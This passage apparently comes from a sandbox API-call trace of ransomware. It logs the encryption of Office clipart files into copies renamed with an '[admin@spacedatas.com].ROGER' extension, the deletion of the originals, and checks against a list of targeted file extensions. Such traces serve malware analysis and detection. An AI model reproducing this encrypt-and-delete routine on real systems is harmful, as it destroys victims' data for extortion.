"c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0061.679] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.679] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0061.679] GetLastError () returned 0x0 [0061.679] ReadFile (in: hFile=0x3f8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x504a, lpOverlapped=0x0) returned 1 [0061.681] WriteFile (in: hFile=0x334, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x5050, lpOverlapped=0x0) returned 1 [0061.682] ReadFile (in: hFile=0x3f8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.682] WriteFile (in: hFile=0x334, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.682] SetEndOfFile (hFile=0x334) returned 1 [0061.682] CloseHandle (hObject=0x334) returned 1 [0061.682] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.683] SetEndOfFile (hFile=0x3f8) returned 1 [0061.683] CloseHandle (hObject=0x3f8) returned 1 [0061.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.684] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf")) returned 1 [0061.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0061.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0061.684] lstrlenW (lpString=".doc") returned 4 [0061.684] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.684] lstrlenW (lpString=".docx") returned 5 [0061.684] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.684] lstrlenW (lpString=".pdf") returned 4 [0061.684] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.684] lstrlenW (lpString=".xls") returned 4 [0061.684] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.684] lstrlenW (lpString=".xlsx") returned 5 [0061.684] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.684] lstrlenW (lpString=".ppt") returned 4 [0061.684] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0061.684] lstrlenW (lpString=".zip") returned 4 [0061.684] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.684] lstrlenW (lpString=".rar") returned 4 [0061.684] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.684] lstrlenW (lpString=".bz2") returned 4 [0061.684] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.684] lstrlenW (lpString=".7z") returned 3 [0061.684] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0061.684] lstrlenW (lpString=".dbf") returned 4 [0061.684] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0061.685] lstrlenW (lpString=".1cd") returned 4 [0061.685] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0061.685] lstrlenW (lpString=".jpg") returned 4 [0061.685] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0061.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0061.685] lstrlenW (lpString=".doc") returned 4 [0061.685] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.685] lstrlenW (lpString=".docx") returned 5 [0061.685] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.685] lstrlenW (lpString=".pdf") returned 4 [0061.685] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.685] lstrlenW (lpString=".xls") returned 4 [0061.685] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.685] lstrlenW (lpString=".xlsx") returned 5 [0061.685] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.685] lstrlenW (lpString=".ppt") returned 4 [0061.685] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0061.685] lstrlenW (lpString=".zip") returned 4 [0061.685] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.685] lstrlenW (lpString=".rar") returned 4 [0061.685] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.685] lstrlenW (lpString=".bz2") returned 4 [0061.685] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.685] lstrlenW (lpString=".7z") returned 3 [0061.685] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0061.685] lstrlenW (lpString=".dbf") returned 4 [0061.685] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0061.685] lstrlenW (lpString=".1cd") returned 4 [0061.685] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0061.686] lstrlenW (lpString=".jpg") returned 4 [0061.686] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.686] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0061.686] lstrlenW (lpString="BD09664_.WMF") returned 12 [0061.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0061.686] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=7966) returned 1 [0061.686] CloseHandle (hObject=0x3f8) returned 1 [0061.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf")) returned 0x20 [0061.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0061.686] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.687] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0061.687] GetLastError () returned 0x0 [0061.687] ReadFile (in: hFile=0x3f8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x1f1e, lpOverlapped=0x0) returned 1 [0061.699] WriteFile (in: hFile=0x334, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x1f20, lpOverlapped=0x0) returned 1 [0061.700] ReadFile (in: hFile=0x3f8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.700] WriteFile (in: hFile=0x334, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.701] SetEndOfFile (hFile=0x334) returned 1 [0061.701] CloseHandle (hObject=0x334) returned 1 [0061.701] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.701] SetEndOfFile (hFile=0x3f8) returned 1 [0061.702] CloseHandle (hObject=0x3f8) returned 1 [0061.702] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.702] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf")) returned 1 [0061.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0061.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0061.702] lstrlenW (lpString=".doc") returned 4 [0061.702] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.702] lstrlenW (lpString=".docx") returned 5 [0061.702] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.702] lstrlenW (lpString=".pdf") returned 4 [0061.702] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.702] lstrlenW (lpString=".xls") returned 4 [0061.702] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.703] lstrlenW (lpString=".xlsx") returned 5 [0061.703] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.703] lstrlenW (lpString=".ppt") returned 4 [0061.703] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0061.703] lstrlenW (lpString=".zip") returned 4 [0061.703] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.703] lstrlenW (lpString=".rar") returned 4 [0061.703] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.703] lstrlenW (lpString=".bz2") returned 4 [0061.703] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.703] lstrlenW (lpString=".7z") returned 3 [0061.703] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0061.703] lstrlenW (lpString=".dbf") returned 4 [0061.703] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0061.703] lstrlenW (lpString=".1cd") returned 4 [0061.703] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0061.703] lstrlenW (lpString=".jpg") returned 4 [0061.703] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0061.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0061.703] lstrlenW (lpString=".doc") returned 4 [0061.703] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.703] lstrlenW (lpString=".docx") returned 5 [0061.703] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.703] lstrlenW (lpString=".pdf") returned 4 [0061.703] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.703] lstrlenW (lpString=".xls") returned 4 [0061.703] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.703] lstrlenW (lpString=".xlsx") returned 5 [0061.703] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.704] lstrlenW (lpString=".ppt") returned 4 [0061.704] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0061.704] lstrlenW (lpString=".zip") returned 4 [0061.704] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.704] lstrlenW (lpString=".rar") returned 4 [0061.704] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.704] lstrlenW (lpString=".bz2") returned 4 [0061.704] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.704] lstrlenW (lpString=".7z") returned 3 [0061.704] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0061.704] lstrlenW (lpString=".dbf") returned 4 [0061.704] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0061.704] lstrlenW (lpString=".1cd") returned 4 [0061.704] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0061.704] lstrlenW (lpString=".jpg") returned 4 [0061.704] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.704] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0061.704] lstrlenW (lpString="BD19563_.GIF") returned 12 [0061.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0061.705] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=20454) returned 1 [0061.705] CloseHandle (hObject=0x3f8) returned 1 [0061.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif")) returned 0x20 [0061.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0061.705] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.705] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0061.705] GetLastError () returned 0x0 [0061.705] ReadFile (in: hFile=0x3f8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x4fe6, lpOverlapped=0x0) returned 1 [0061.708] WriteFile (in: hFile=0x334, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x4ff0, lpOverlapped=0x0) returned 1 [0061.709] ReadFile (in: hFile=0x3f8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.709] WriteFile (in: hFile=0x334, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.709] SetEndOfFile (hFile=0x334) returned 1 [0061.709] CloseHandle (hObject=0x334) returned 1 [0061.709] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.710] SetEndOfFile (hFile=0x3f8) returned 1 [0061.710] CloseHandle (hObject=0x3f8) returned 1 [0061.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.711] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif")) returned 1 [0061.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0061.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0061.711] lstrlenW (lpString=".doc") returned 4 [0061.711] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.711] lstrlenW (lpString=".docx") returned 5 [0061.711] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.711] lstrlenW (lpString=".pdf") returned 4 [0061.711] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.711] lstrlenW (lpString=".xls") returned 4 [0061.711] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.711] lstrlenW (lpString=".xlsx") returned 5 [0061.711] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.711] lstrlenW (lpString=".ppt") returned 4 [0061.711] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0061.711] lstrlenW (lpString=".zip") returned 4 [0061.711] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.711] lstrlenW (lpString=".rar") returned 4 [0061.711] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.711] lstrlenW (lpString=".bz2") returned 4 [0061.711] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.711] lstrlenW (lpString=".7z") returned 3 [0061.711] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0061.711] lstrlenW (lpString=".dbf") returned 4 [0061.711] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0061.712] lstrlenW (lpString=".1cd") returned 4 [0061.712] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0061.712] lstrlenW (lpString=".jpg") returned 4 [0061.712] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0061.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0061.712] lstrlenW (lpString=".doc") returned 4 [0061.712] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.712] lstrlenW (lpString=".docx") returned 5 [0061.712] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.712] lstrlenW (lpString=".pdf") returned 4 [0061.712] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.712] lstrlenW (lpString=".xls") returned 4 [0061.712] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.712] lstrlenW (lpString=".xlsx") returned 5 [0061.712] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.712] lstrlenW (lpString=".ppt") returned 4 [0061.712] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0061.712] lstrlenW (lpString=".zip") returned 4 [0061.712] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.712] lstrlenW (lpString=".rar") returned 4 [0061.712] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.712] lstrlenW (lpString=".bz2") returned 4 [0061.712] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.712] lstrlenW (lpString=".7z") returned 3 [0061.712] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0061.712] lstrlenW (lpString=".dbf") returned 4 [0061.712] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0061.712] lstrlenW (lpString=".1cd") returned 4 [0061.712] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0061.713] lstrlenW (lpString=".jpg") returned 4 [0061.713] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.713] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0061.713] lstrlenW (lpString="BD19582_.GIF") returned 12 [0061.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0061.713] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=15733) returned 1 [0061.713] CloseHandle (hObject=0x3f8) returned 1 [0061.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif")) returned 0x20 [0061.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0061.713] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.713] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, 